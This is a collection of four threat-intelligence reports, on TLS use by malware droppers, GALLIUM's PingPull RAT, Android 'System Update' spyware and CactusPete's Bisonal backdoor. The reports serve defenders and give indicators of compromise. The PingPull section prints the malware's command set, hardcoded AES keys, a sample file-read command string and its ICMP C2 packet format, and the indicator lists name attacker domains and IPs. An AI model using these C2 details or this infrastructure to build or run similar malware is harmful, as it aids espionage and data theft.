We’ve seen an increase in the use of TLS in ransomware attacks over the past year, especially in manually-deployed ransomware—in part because of attackers’ use of modular offensive tools that leverage HTTPS. But the vast majority of what we detect day-to-day in malicious TLS traffic is from initial-compromise malware: loaders, droppers, and document-based installers reaching back to secured web pages to retrieve their installation packages.
To gain insight into how usage of TLS in malware has changed, we took a deep dive into our detection telemetry to both measure how much TLS is used by malware, identify the most common malware that leverage TLS, and how those malware make use of TLS-encrypted communications. Based on our detection telemetry, we found that while TLS still makes up an average of just over two percent of the overall traffic Sophos classifies as “malware callhome” over a three-month period, 56 percent of the unique C2 servers (identified by DNS host names) that communicated with malware used HTTPS and TLS. And of that, nearly a quarter is with infrastructure residing in Google’s cloud environment.
Malware communications typically fall into three categories: downloading additional malware, exfiltration of stolen data, and retrieval or sending of instructions to trigger specific functions (command and control). All these types of communications can take advantage of TLS encryption to evade detection by defenders. But the majority of TLS traffic we found tied to malware was of the first kind: droppers, loaders, and other malware downloading additional malware to the system they infected, using TLS to evade basic payload inspection.
It doesn’t take much sophistication to leverage TLS in a malware dropper, because TLS-enabled infrastructure to deliver malware or code snippets is freely available. Frequently, droppers and loaders use legitimate websites and cloud services with built-in TLS support to further disguise the traffic. For example, this traffic from a Bladabindi RAT dropper shows it attempting to retrieve its payload from a Pastebin page.
We’ve seen numerous cases of malware behaving this way in our research. The PowerShell-based dropper for LockBit ransomware was observed retrieving additional script from a Google Docs spreadsheet via TLS, as well as from another website. And a dropper for AgentTesla also has been observed accessing Pastebin over TLS to retrieve chunks of code. While Google and Pastebin often quickly shut down malware-hosting documents and sites on its platform, many of these C2 sources are abandoned after a single spam campaign, and the attackers simply create new ones for their next attack.
Sometimes malware uses multiple services this way in a single attack. For example, one of the numerous malware droppers we found in Discord’s content delivery network dropped another stage also hosted on Discord, which in turn attempted to load an executable directly from GitHub.
Malware download traffic actually makes up the majority of the TLS-based C2 traffic we observed. In February 2021, for instance, droppers made up over 90 percent of the TLS C2 traffic—a figure that closely matches the static C2 detection telemetry data associated with similar malware month-to-month from January through March of 2021.
Malware operators can use TLS to obfuscate command and control traffic. By sending HTTPS requests or connecting over a TLS-based proxy service, the malware can create a reverse shell, allowing commands to be passed to the malware, or for the malware to retrieve blocks of script or required keys needed for specific functions. Command and control servers can be a remote dedicated web server, or they can be based on one or more documents in legitimate cloud services. For example, the Lampion Portuguese banking trojan used a Google Docs text document as the source for a key required to unlock some of its code—and deleting the document acted as a kill-switch. By leveraging Google Docs, the actors behind Lampion were able to conceal controlling communications to the malware and evade reputation-based detection by using a trusted host.
The same sort of connection can be used by malware to exfiltrate sensitive information—transmitting user credentials, passwords, cookies, and other collected data back to the malware’s operator. To conceal data theft, malware can encapsulate it in a TLS-based HTTPS POST, or export it via a TLS connection to a cloud service API, such as Telegram or Discord “bot” APIs.
One example of how attackers use TLS maliciously is SystemBC, a multifaceted malicious communications tool used in a number of recent ransomware attacks. The first samples of SystemBC, spotted over a year ago, acted primarily as a network proxy, creating what amounted to a virtual private network connection for attackers based on SOCKS5 remote proxy connection encrypted with TLS—providing concealed communications for other malware. But the malware has continued to evolve, and more recent samples of SystemBC are more full-featured remote access trojans (RATs) that provide a persistent backdoor for attackers once deployed. The most recent version of SystemBC can issue Windows commands, as well as deliver and run scripts, malicious executables, and dynamic link libraries (DLLs)—in addition to its role as a network proxy.
SystemBC is not entirely stealthy, however. There’s a lot of non-TLS, non-Tor traffic generated by SystemBC—symptomatic of the incremental addition of features seen in many long-lived malware. The sample we recently analyzed has a TCP “heartbeat” that connects over port 49630 to a host hard-coded into the SystemBC RAT itself.
The first TLS connection is an HTTPS request to a proxy for IPify, an API that can be used to obtain the public IP address of the infected system. But this request is sent not on port 443, the standard HTTPS port—instead, it’s sent on port 49271. This non-standard port usage is the beginning of a pattern.
SystemBC then attempts to obtain data about the current Tor network consensus, connecting to hard-coded IP addresses with an HTTP GET request, but via ports 49272 and 49273. SystemBC uses the connections to download information about the current Tor network configuration.
Next, SystemBC establishes a TLS connection to a Tor gateway picked from the Tor network data. Again, it uses another non-standard port: 49274. And it builds the Tor circuit to the destination of its Tor tunnel using directory data collected via port 49275 via another HTTP request. There, the progression of sequential ports ends, and in the sample we analyzed it tries to fetch another malware executable via an open HTTP request over the standard port.
The file retrieved by this sample, henos.exe, is another backdoor that connects over TLS on the standard port (443) to a website that returns links to Telegram channels—a sign that the actor behind this SystemBC instance is evolving tactics. SystemBC is likely to continue to evolve as well, as its developers address the mixed use of HTTP and TLS and the somewhat predictable non-standard ports that allow SystemBC to be easily fingerprinted.
Like SystemBC, AgentTesla—an information stealer that can also function in some cases as a RAT—has evolved over its long history. Active for more than seven years, AgentTesla has recently been updated with an option to use the Tor anonymizing network to conceal traffic with TLS.
We’ve also seen TLS used in one of AgentTesla’s most recent downloaders, as the developers have used legitimate web services to store chunks of malware encoded in base64 format on Pastebin and a lookalike service called Hastebin. The first stage downloader further tries to evade detection by patching Windows’ Anti-Malware Software Interface (AMSI) to prevent in-memory scanning of the downloaded code chunks as they’re joined and decoded.
The Tor addition to AgentTesla itself can be used to conceal communications over HTTP. There is also another optional C2 protocol in AgentTesla that could be TLS protected—the Telegram Bot API, which uses an HTTPS server for receiving messages. However, the AgentTesla developer didn’t implement HTTPS communications in the malware (at least for now)—it fails to execute a TLS handshake. Telegram accepts unencrypted HTTP messages sent to its bot API.
Dridex is yet another long-lived malware family that has seen substantial recent evolution. Primarily a banking Trojan, Dridex was first spotted in 2011, but it has evolved substantially. It can load new functionality through downloaded modules, in a fashion similar to the Trickbot Trojan. Dridex modules may be downloaded together in an initial compromise of the affected system, or retrieved later by the main loader module. Each module is responsible for performing specific functions: stealing credentials, exfiltrating browser cookie data or security certificates, logging keystrokes, or taking screenshots.
Dridex’s loader has been updated to conceal communications, encapsulating them with TLS. It uses HTTPS on port 443 both to download additional modules from and exfiltrate collected data to the C2 server. Exfiltrated data can additionally be encrypted with RC4 to further conceal and secure it. Dridex also has a resilient infrastructure of command and control (C2) servers, allowing installed malware to fail over to a backup if its original C2 server goes down.
These updates have made Dridex a continuing threat, and Dridex loaders are among the most common families of malware detected using TLS—overshadowed only by the next group of threats in our TLS rogues’ gallery: off-the-shelf “offensive security” tools repurposed by cybercriminals.
Offensive security tools have long been used by malicious actors as well as security professionals. These commercial and open-source tools, including the modular Cobalt Strike and Metasploit toolkits, were built for penetration testing and “red team” security evaluations—but they’ve been embraced by ransomware groups for their flexibility.
Over the last year, we’ve seen a surge in the use of tools derived from offensive security platforms in manually-deployed ransomware attacks, used by attackers to execute scripts, gather information about other systems on the network, extract additional credentials, and spread ransomware and other malware.
Taken together, Cobalt Strike beacons and Metasploit “Meterpreter” derivatives made up over 1 percent of all detected malware using TLS—a significant number in comparison to other major malware families.
Potentially unwanted applications (PUAs), particularly on the macOS platform, also leverage TLS, often through browser extensions that connect surreptitiously to C2 servers to exfiltrate information and inject content into other web pages. We’ve seen the Bundlore use TLS to conceal malicious scripts and inject advertisements and other content into web pages, undetected. Overall, we found over 89 percent of macOS threats with C2 communications used TLS to call home or retrieve additional harmful code.
There are many other privacy and security threats lurking in TLS traffic beyond malware and PUAs. Phishing campaigns increasingly rely on websites with TLS certificates—either registered to a deceptive domain name or provided by a cloud service provider. Google Forms phishing attacks may seem easy to spot, but users trained to “look for the lock” alongside web addresses in their browser may casually type in their personally identifying data and credentials.
All of this adds up to a more than 100 percent increase in TLS-based malware communications since 2020. And that’s a conservative estimate, as it’s based solely on what we could identify through telemetry analysis and host data.
As we’ve noted, some use TLS over non-standard IP ports, making a completely accurate assessment of TLS usage impossible without deeper packet analysis of their communications. So the statistics cited in this report do not reflect the full range of TLS-based malicious communications—and organizations should not rely on the port numbers related to communications alone to identify potential malicious traffic. TLS can be implemented over any assignable IP port, and after the initial handshake, it looks like any other TCP application traffic.
Even so, the most concerning trend we’ve noted is the use of commercial cloud and web services as part of malware deployment, command and control. Malware authors’ abuse of legitimate communication platforms gives them the benefit of encrypted communications provided by Google Docs, Discord, Telegram, Pastebin, and others—and, in some cases, they also benefit from the “safe” reputation of those platforms.
We also see the use of off-the-shelf offensive security tools and other ready-made tools and application programming interfaces that make using TLS-based communications more accessible continuing to grow. The same services and technologies that have made obtaining TLS certificates and configuring HTTPS websites vastly simpler for small organizations and individuals have also made it easier for malicious actors to blend in with legitimate Internet traffic, and have dramatically reduced the work needed to frequently shift or replicate C2 infrastructure.
All of these factors make defending against malware attacks that much more difficult. Without a defense in depth, organizations may be increasingly less likely to detect threats on the wire before they have been deployed by attackers.
SophosLabs would like to acknowledge Suriya Natarajan, Anand Aijan, Michael Wood, Sivagnanam Gn, Markel Picado, and Andrew Brandt for their contributions to this report. |
# GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool
**Unit 42**
**June 13, 2022**
**Category:** Malware
**Tags:** APT, backdoor, GALLIUM, operation soft cell, PingPull, Remote Access Trojan
## Executive Summary
Unit 42 recently identified a new, difficult-to-detect remote access trojan named PingPull being used by GALLIUM, an advanced persistent threat (APT) group. Unit 42 actively monitors infrastructure associated with several APT groups. One group in particular, GALLIUM (also known as Softcell), established its reputation by targeting telecommunications companies operating in Southeast Asia, Europe, and Africa. The group’s geographic targeting, sector-specific focus, and technical proficiency, combined with their use of known Chinese threat actor malware and tactics, techniques, and procedures (TTPs), has resulted in industry assessments that GALLIUM is likely a Chinese state-sponsored group.
Over the past year, this group has extended its targeting beyond telecommunication companies to also include financial institutions and government entities. During this period, we have identified several connections between GALLIUM infrastructure and targeted entities across Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. Most importantly, we have also identified the group’s use of a new remote access trojan named PingPull.
PingPull has the capability to leverage three protocols (ICMP, HTTP(S), and raw TCP) for command and control (C2). While the use of ICMP tunneling is not a new technique, PingPull uses ICMP to make it more difficult to detect its C2 communications, as few organizations implement inspection of ICMP traffic on their networks. This blog provides a detailed breakdown of this new tool as well as the GALLIUM group's recent infrastructure.
Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Advanced URL Filtering, DNS Security, Cortex XDR, and WildFire malware analysis. Full visualization of the techniques observed, relevant courses of action, and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
## PingPull Malware
PingPull was written in Visual C++ and provides a threat actor the ability to run commands and access a reverse shell on a compromised host. There are three variants of PingPull that are all functionally the same but use different protocols for communications with their C2: ICMP, HTTP(S), and raw TCP. In each of the variants, PingPull will create a custom string with the following structure that it will send to the C2 in all interactions, which we believe the C2 server will use to uniquely identify the compromised system:
`PROJECT_[uppercase executable name]_[uppercase computer name]_[uppercase hexadecimal IP address]`
Regardless of the variant, PingPull is capable of installing itself as a service with the following description:
*Provides tunnel connectivity using IPv6 transition technologies (6to4, ISATAP, Port Proxy, and Teredo), and IP-HTTPS. If this service is stopped, the computer will not have the enhanced connectivity benefits that these technologies offer.*
The description is the exact same as the legitimate iphlpsvc service, which PingPull purposefully attempts to mimic using Iph1psvc for the service name and IP He1per instead of IP Helper for the display name. We have also seen a PingPull sample use this same service description but with a service name of Onedrive.
The three variants of PingPull have the same commands available within their command handlers. The commands seen in Table 1 show that PingPull has the ability to perform a variety of activities on the file system, as well as the ability to run commands on cmd.exe that acts as a reverse shell for the actor.
| Command | Description |
|---------|-------------|
| A | Enumerate storage volumes (A: through Z:) |
| B | List folder contents |
| C | Read File |
| D | Write File |
| E | Delete File |
| F | Read file, convert to hexadecimal form |
| G | Write file, convert from hexadecimal form |
| H | Copy file, sets the creation, write, and access times to match original files |
| I | Move file, sets the creation, write, and access times to match original files |
| J | Create directory |
| K | Timestomp file |
| M | Run command via cmd.exe |
To run a command listed in Table 1, the actor would have the C2 server respond to a PingPull beacon with the command and arguments that it encrypts using AES in cipher block chaining (CBC) mode and encodes with base64. We have seen two unique AES keys between the known PingPull samples, specifically P29456789A1234sS and dC@133321Ikd!D^i.
PingPull would decrypt the received data and would parse the cleartext for the command and additional arguments in the following structure:
`&[AES Key]=[command]&z0=[unknown]&z1=[argument 1]&z2=[argument 2]`
We are not sure of the purpose of the z0 parameter in the command string, as we observed PingPull parsing for this parameter but do not see the value being used. To confirm the structure of the command string, we used the following string when issuing commands in our analysis environment, which would instruct PingPull to read the contents of a file at C:\test.txt:
`&P29456789A1234sS=C&z0=2&z1=c:\\test.txt&z2=none`
During our analysis, PingPull would respond to the command string above with `ya1JF03nUKLg9TkhDgwvx5MSFIoMPllw1zLMC0h4IwM=`, which decodes to and decrypts (AES key P29456789A1234sS) to some text in a test file.
## ICMP Variant
PingPull samples that use ICMP for C2 communications issue ICMP Echo Request (ping) packets to the C2 server. The C2 server will reply to these Echo requests with an Echo Reply packet to issue commands to the system. Both the Echo Request and Echo Reply packets used by PingPull and its C2 server will have the same structure as follows:
`[8-byte value]R[sequence number].[unique identifier string beginning with “PROJECT”]\r\ntotal=[length of total message]\r\ncurrent=[length of current message]\r\n[base64 encoded and AES encrypted data]`
When issuing a beacon to its C2, PingPull will send an Echo Request packet to the C2 server with total and current set to 0 and will include no encoded and encrypted data.
The data section in the ICMP packet begins with an 8-byte value of `0x702437047E404103` that PingPull has hardcoded in its code, which is immediately followed by a hardcoded R. However, another PingPull sample that used ICMP for its C2 communications omitted this 8-byte value.
After the R is a sequence number that increments when sending or receiving data that exceeds the maximum size of the ICMP data section. The sequence number is immediately followed by a period “.” and then the unique identifier string generated by PingPull that begins with PROJECT. The ICMP data section then includes total=[integer] and current=[integer], which are used by both PingPull and its C2 to determine the total length of the data transmitted and the length of the chunk of data transmitted in the current packet. The data transmitted in each ICMP packet comes in the form of a base64-encoded string of ciphertext generated using AES and the key specific to the sample.
## HTTPS Variant
Another variant of PingPull uses HTTPS requests to communicate with its C2 server instead of ICMP. The initial beacon uses a POST request over this HTTPS channel, using the unique identifier string generated by PingPull as the URL. The initial beacon is a POST request that did not have any data, which resulted in the Content-Length of 0 within the HTTP headers. When responding with the results to commands, PingPull will issue a second POST request using the same URL structure with the results in the data section in base64-encoded and encrypted form using the AES key.
## TCP Variant
This variant of PingPull does not use ICMP or HTTPS for C2 communication; rather, it uses raw TCP for its C2 communication. Much like the other C2 channels, the data sent in this beacon includes the unique identifier string generated by PingPull that begins with PROJECT. However, the TCP C2 channel begins with a 4-byte value for the length of data that follows.
## Infrastructure
On Sept. 9, 2021, a sample of PingPull named ServerMannger.exe (SHA256: de14f22c88e552b61c62ab28d27a617fb8c0737350ca7c631de5680850282761) was shared with the cybersecurity community by an organization in Vietnam. Analysis of this sample revealed that it was configured to call home to t1.hinitial.com. Pivoting on the C2, we identified several subdomains hosted under the hinitial.com domain that exhibited a similar naming pattern:
- t1.hinitial.com
- v2.hinitial.com
- v3.hinitial.com
- v4.hinitial.com
- v5.hinitial.com
Digging deeper into these domains, we began to identify overlaps in certificate use between the various IP infrastructure associated with each of the subdomains. One certificate that stood out in particular was an oddly configured certificate with a SHA1 of `76efd8ef3f64059820d937fa87acf9369775ecd5`. This certificate was created with a 10-year expiration window, a common name of bbb, and no other details, which immediately raised the question of legitimacy.
First seen in September 2020, this certificate was linked to six different IP addresses all hosting a variant of the hinitial.com subdomains as well as an additional pivot to a dynamic DNS host (goodjob36.publicvm.com). Continuing this method of pivoting across all of the PingPull samples and their associated C2 domains has resulted in the identification of over 170 IP addresses associated with this group dating back to late 2020.
## Protections and Mitigations
We recommend that telecommunications, finance, and government organizations located across Southeast Asia, Europe, and Africa leverage the indicators of compromise (IoCs) below to identify any impacts to your organizations. For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:
- Cortex XDR detects and protects endpoints from the PingPull malware.
- WildFire cloud-based threat analysis service accurately identifies PingPull malware as malicious.
- Threat Prevention provides protection against PingPull malware. The “Pingpull Command and Control Traffic Detection” signature (threat IDs 86625, 86626, and 86627) provides coverage for the ICMP, HTTP(S), and raw TCP C2 traffic.
- Advanced URL Filtering and DNS Security identify domains associated with this group as malicious.
- Users of the AutoFocus contextual threat intelligence service can view malware associated with these attacks using the PingPull tag.
If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
- North America Toll-Free: 866.486.4842 (866.4.UNIT42)
- EMEA: +31.20.299.3130
- APAC: +65.6983.8730
- Japan: +81.50.1790.0200
## Conclusion
GALLIUM remains an active threat to telecommunications, finance, and government organizations across Southeast Asia, Europe, and Africa. Over the past year, we have identified targeted attacks impacting nine nations. This group has deployed a new capability called PingPull in support of its espionage activities, and we encourage all organizations to leverage our findings to inform the deployment of protective measures to defend against this threat group.
Special thanks to the NSA Cybersecurity Collaboration Center, the Australian Cyber Security Centre, and other government partners for their collaboration and insights offered in support of this research.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
## Indicators of Compromise
**Samples:**
- de14f22c88e552b61c62ab28d27a617fb8c0737350ca7c631de5680850282761
- b4aabfb8f0327370ce80970c357b84782eaf0aabfc70f5e7340746f25252d541
- fc2147ddd8613f08dd833b6966891de9e5309587a61e4b35408d56f43e72697e
- c55ab8fdd060fb532c599ee6647d1d7b52a013e4d8d3223b361db86c1f43e845
- f86ebeb6b3c7f12ae98fe278df707d9ebdc17b19be0c773309f9af599243d0a3
- 8b664300fff1238d6c741ac17294d714098c5653c3ef992907fc498655ff7c20
- 1ce1eb64679689860a1eacb76def7c3e193504be53ebb0588cddcbde9d2b9fe6
**PingPull C2 Locations:**
- df.micfkbeljacob.com
- t1.hinitial.com
- 5.181.25.55
- 92.38.135.62
- 5.8.71.97
**Domains:**
- micfkbeljacob.com
- df.micfkbeljacob.com
- jack.micfkbeljacob.com
- hinitial.com
- t1.hinitial.com
- v2.hinitial.com
- v3.hinitial.com
- v4.hinitial.com
- v5.hinitial.com
- goodjob36.publicvm.com
- goodluck23.jp.us
- helpinfo.publicvm.com
- Mailedc.publicvm.com
**IP Addresses (Active in last 30 days):**
- 92.38.135.62
- 5.181.25.55
- 5.8.71.97
- 101.36.102.34
- 101.36.102.93
- 101.36.114.167
- 101.36.123.191
- 103.116.47.65
- 103.179.188.93
- 103.22.183.131
- 103.22.183.138
- 103.22.183.141
- 103.22.183.146
- 103.51.145.143
- 103.61.139.71
- 103.61.139.72
- 103.61.139.75
- 103.61.139.78
- 103.61.139.79
- 103.78.242.62
- 118.193.56.130
- 118.193.62.232
- 123.58.196.208
- 123.58.198.205
- 123.58.203.19
- 128.14.232.56
- 152.32.165.70
- 152.32.203.199
- 152.32.221.222
- 152.32.245.157
- 154.222.238.50
- 154.222.238.51
- 165.154.52.41
- 165.154.70.51
- 167.88.182.166
- 176.113.71.62
- 2.58.242.230
- 2.58.242.231
- 2.58.242.235
- 202.87.223.27
- 212.115.54.54
- 37.61.229.104
- 45.116.13.153
- 45.128.221.61
- 45.128.221.66
- 45.136.187.98
- 45.14.66.230
- 45.154.14.132
- 45.154.14.164
- 45.154.14.188
- 45.154.14.254
- 45.251.241.74
- 45.251.241.82
- 45.76.113.163
- 47.254.192.79
- 92.223.30.232
- 92.223.30.52
- 92.223.90.174
- 92.223.93.148
- 92.223.93.222
- 92.38.139.170
- 92.38.149.101
- 92.38.149.241
- 92.38.171.127
- 92.38.176.47
- 107.150.127.124
- 118.193.56.131
- 176.113.71.168
- 185.239.227.12
- 194.29.100.173
- 2.58.242.236
- 45.128.221.182
- 45.154.14.191
- 47.254.250.117
- 79.133.124.88
- 103.137.185.249
- 103.61.139.74
- 107.150.112.211
- 107.150.127.140
- 146.185.218.65
- 152.32.221.242
- 165.154.70.62
- 176.113.68.12
- 185.101.139.176
- 188.241.250.152
- 188.241.250.153
- 193.187.117.144
- 196.46.190.27
- 2.58.242.229
- 2.58.242.232
- 37.61.229.106
- 45.128.221.172
- 45.128.221.186
- 45.128.221.229
- 45.134.169.147
- 103.170.132.199
- 107.150.110.233
- 152.32.255.145
- 167.88.182.107
- 185.239.226.203
- 185.239.227.34
- 45.128.221.169
- 45.136.187.41
- 137.220.55.38
- 45.133.238.234
- 103.192.226.43
- 92.38.149.88
- 5.188.33.237
- 146.185.218.176
- 43.254.218.104
- 43.254.218.57
- 43.254.218.98
- 92.223.59.84
- 43.254.218.43
- 81.28.13.48
- 89.43.107.191
- 103.123.134.145
- 103.123.134.161
- 103.123.134.165
- 103.85.24.81
- 212.115.54.241
- 43.254.218.114
- 89.43.107.190
- 103.123.134.139
- 103.123.134.240
- 103.85.24.121
- 103.169.91.93
- 103.169.91.94
- 45.121.50.230 |
# New Advanced Android Malware Posing as “System Update”
March 26, 2021
Aazim Yaswant
Another week, and another major mobile security risk. A few weeks ago, Zimperium zLabs researchers disclosed unsecured cloud configurations exposing information in thousands of legitimate iOS and Android apps. This week, zLabs is warning Android users about a sophisticated new malicious app.
The new malware disguises itself as a System Update application and is stealing data, messages, images, and taking control of Android phones. Once in control, hackers can record audio and phone calls, take photos, review browser history, access WhatsApp messages, and more.
The “System Update” app was identified by zLabs researchers who noticed an Android application being detected by the z9 malware engine powering zIPS on-device detection. Following an investigation, we discovered it to be a sophisticated spyware campaign with complex capabilities. We also confirmed with Google that the app was not and has never been on Google Play.
## What can the malware do?
The mobile application poses a threat to Android devices by functioning as a Remote Access Trojan (RAT) that receives and executes commands to collect and exfiltrate a wide range of data and perform a wide range of malicious actions, such as:
- Stealing instant messenger messages
- Stealing instant messenger database files (if root is available)
- Inspecting the default browser’s bookmarks and searches
- Inspecting the bookmark and search history from Google Chrome, Mozilla Firefox, and Samsung Internet Browser
- Searching for files with specific extensions (including .pdf, .doc, .docx, .xls, .xlsx)
- Inspecting the clipboard data
- Inspecting the content of the notifications
- Recording audio
- Recording phone calls
- Periodically taking pictures (either through the front or back cameras)
- Listing the installed applications
- Stealing images and videos
- Monitoring the GPS location
- Stealing SMS messages
- Stealing phone contacts
- Stealing call logs
- Exfiltrating device information (e.g., installed applications, device name, storage stats)
- Concealing its presence by hiding the icon from the device’s drawer/menu
## How does the malware work?
Upon installation (from a third-party store, not Google Play Store), the device gets registered with the Firebase Command and Control (C&C) with details such as the presence or absence of WhatsApp, battery percentage, storage stats, the token received from the Firebase messaging service, and the type of internet connection.
Options to update the mentioned device information exist as “update” and “refreshAllData,” the difference being, in “update,” the device information alone is being collected and sent to C&C, whereas in “refreshAllData,” a new Firebase token is also generated and exfiltrated.
The spyware’s functionality and data exfiltration are triggered under multiple conditions, such as a new contact added, new SMS received, or a new application installed by making use of Android’s contentObserver and Broadcast receivers. Commands received through the Firebase messaging service initiate actions such as recording audio from the microphone and exfiltration of data such as SMS messages. The Firebase communication is only used to issue the commands, and a dedicated C&C server is used to collect the stolen data by using a POST request.
The spyware is looking for any activity of interest, such as a phone call, to immediately record the conversation, collect the updated call log, and then upload the contents to the C&C server as an encrypted ZIP file. Determined to leave no traces of its malicious actions, the spyware deletes the files as soon as it receives a “success” response from the C&C server on successfully receiving the uploaded files.
The collected data is organized into several folders inside the spyware’s private storage, located at: “/data/data/com.update.system.important/files/files/system/FOLDER_NAME” where the “FOLDER_NAME” is specified as shown in the following image.
Along with the command “re” for recording the audio from the microphone, the parameters received are “from_time” and “to_time,” which is used to schedule an OneTimeWorkRequest job to perform the intended malicious activity. Such usage of job scheduling can be affected by battery optimizations applied on applications by the Android OS, due to which, the spyware requests permission to ignore battery optimizations and function unhindered.
Being very concerned about the freshness of the data, the spyware doesn’t use data collected before a fixed period. For example, location data is collected either from the GPS or the network (whichever is the more recent) and if this most recent value is more than 5 minutes in the past, it decides to collect and store the location data all over again. The same applies to photos taken using the device’s camera, and the value is set to 40 minutes.
The spyware abuses the device’s Accessibility Services (gained from social engineering by asking users to enable accessibility services) to collect conversations and message details from WhatsApp by scraping the content on the screen after detecting the package name of the top window matches WhatsApp (“com.whatsapp”). The collected data is stored within an SQLite database.
In addition to collecting the messages using the Accessibility Services, if root access is available, the spyware steals the WhatsApp database files by copying them from WhatsApp’s private storage.
The spyware actively steals the clipboard data by registering clipboard listeners in just the same way as it spies on SMS, GPS location, contacts, call logs, and notifications. The listeners, observers, and broadcasted intents are used to trigger actions such as recording a phone call and collecting the thumbnails of newly captured images/videos by the victim.
The Android device’s storage is searched for files smaller than 30MB and having file extensions from the list of “interesting” types (.pdf, .doc, .docx, .xls, .xlsx, .ppt, .pptx) to be copied to the private directory of the application and encrypted as a folder before exfiltration to the C&C server.
An aggressive capability of the spyware is to access and steal the contents cached and stored in the external storage. In an attempt to not exfiltrate all the images/videos, which can usually be quite large, the spyware steals the thumbnails which are much smaller in size. This would also significantly reduce the bandwidth consumption and avoid showing any sign of data exfiltration over the internet. When the victim is using Wi-Fi, all the stolen data from all the folders are sent to the C&C, whereas when the victim is using a mobile data connection, only a specific set of data is sent to C&C.
Apart from the various types of personal data stolen from the victim, the spyware wants more private data such as the victim’s bookmarks and search history from popular browsers like Google Chrome, Mozilla Firefox, and the Samsung Internet Browser.
To identify the victim’s device name, the spyware tries to compare the information collected from the device’s “Build.DEVICE” and “Build.MODEL” with a list of hardcoded values amounting to a total of 112 device names.
The spyware creates a notification if the device’s screen is off when it receives a command using the Firebase messaging service. The “Searching for update..” is not a legitimate notification from the operating system, but the spyware.
The spyware is capable of performing a wide range of malicious activities to spy on the victim while posing as a “System Update” application. It exhibits a rarely seen before feature, stealing thumbnails of videos and images, in addition to the usage of a combination of Firebase and a dedicated Command & Control server for receiving commands and exfiltrating data.
## IOCs
**Spyware applications:**
- 96de80ed5ff6ac9faa1b3a2b0d67cee8259fda9f6ad79841c341b1c3087e4c92
- 6301e2673e7495ebdfd34fe51792e97c0ac01221a53219424973d851e7a2ac93
**C&C servers:**
- hxxps://mypro-b3435.firebaseio.com
- hxxps://licences.website/backendNew/public/api/
To learn more about how Zimperium detects and prevents malware from disrupting enterprises globally, contact us. Zimperium zIPS, powered by Zimperium’s machine learning-based engine, z9, detects this malware. Additionally, zIPS with Samsung Knox enables immediate and automated mitigation capabilities. |
# CactusPete APT Group’s Updated Bisonal Backdoor
**Authors**
Konstantin Zykov
The backdoor was used to target financial and military organizations in Eastern Europe. CactusPete (also known as Karma Panda or Tonto Team) is an APT group that has been publicly known since at least 2013. Some of the group’s activities have been previously described in public by multiple sources. We have been investigating and privately reporting on this group’s activity for years as well. Historically, their activity has been focused on military, diplomatic, and infrastructure targets in Asia and Eastern Europe. This is also true of the group’s latest activities.
A new CactusPete campaign, spotted at the end of February 2020 by Kaspersky, shows that the group’s favored types of target remain the same. The victims of the new variant of the Bisonal backdoor, according to our telemetry, were from financial and military sectors located in Eastern Europe. Our research started from only one sample, but by using the Kaspersky Threat Attribution Engine (KTAE) we found 300+ almost identical samples. All of them appeared between March 2019 and April 2020. This underlines the speed of CactusPete’s development – more than 20 samples per month. The target location forced the group to use a hardcoded Cyrillic codepage during string manipulations. This is important, for example, during remote shell functionality, to correctly handle the Cyrillic output from executed commands.
The method of malware distribution for the new campaign remains unknown, but previous campaigns indicate that it’s their usual way of distributing malware. The attackers’ preferred way to deliver malware is spear-phishing messages with “magic” attachments. The attachments never contain zero-day exploits, but they do include recently discovered and patched vulnerabilities, or any other crafty approaches that might help them deliver the payload. Running these attachments leads to infection.
Once the malware starts, it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample. As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification.
The handshake consists of several steps: initial request, victim network details, and a more detailed victim information request. This is the complete list of victim-specific information that is sent to the C2 during the handshake steps:
- Hostname, IP and MAC address
- Windows version
- Time set on infected host
- Flags that indicate if the malware was executed on VMware environment
- Proxy usage flag
- System default CodePage Identifier
After the handshake has been completed, the backdoor waits for a command, periodically pinging the C2 server. The response body from the C2 ping might hold the command and parameters (optionally). The updated Bisonal backdoor version maintains functionality similar to past backdoors built from the same codebase:
- Execute a remote shell
- Silently start a program on a victim host
- Retrieve a list of processes from the victim host
- Terminate any process
- Upload/Download/Delete files to/from victim host
- Retrieve a list of available drives from the victim host
- Retrieve a file list of a specified folder from the victim host
This set of remote commands helps the attackers study the victim environment for lateral movement and deeper access to the target organization. The group continues to push various custom Mimikatz variants and keyloggers for credential harvesting purposes, along with privilege escalation malware.
## What Are They Looking For?
Since the malware contains mostly information gathering functionality, most likely they hack into organizations to gain access to the victims’ sensitive data. If we recall that CactusPete targets military, diplomatic, and infrastructure organizations, the information could be very sensitive indeed.
We would suggest the following countermeasures to prevent such threats:
- Network monitoring, including unusual behavior detection
- Up-to-date software to prevent exploitation of vulnerabilities
- Up-to-date antivirus solutions
- Training employees to recognize email-based (social engineering) attacks
## CactusPete Activity
CactusPete is a Chinese-speaking cyber-espionage APT group that uses medium-level technical capabilities, and the people behind it have upped their game. They appear to have received support and have access to more complex code like ShadowPad, which CactusPete deployed in 2020. The group’s activity has been recorded since at least 2013, although Korean public resources mark an even earlier date – 2009. Historically, CactusPete targets organizations within a limited range of countries – South Korea, Japan, the US, and Taiwan. Last year’s campaigns show that the group has shifted towards other Asian and Eastern European organizations.
Here’s an overview of CactusPete activity in recent years, based on Kaspersky research results:
- May 2018: a new wave of targeted attacks abusing CVE-2018-8174, with diplomatic, defense, manufacturing, military, and government targets in Asia and Eastern Europe
- December 2018 and early 2019: Bisonal backdoor modification with a set of spying payloads in a campaign targeting organizations within mining, defense, government, and technology research targets in Eastern Europe and Asia
- September and October 2019: a DoubleT backdoor campaign, targeting military-related and unknown victims
- March 2019 to April 2020: Bisonal backdoor modification in a campaign targeting organizations in financial and military institutions in Eastern Europe
- December 2019 to April 2020: a modified DoubleT backdoor campaign, targeting telecom and governmental organizations and other victims in Asia and Eastern Europe
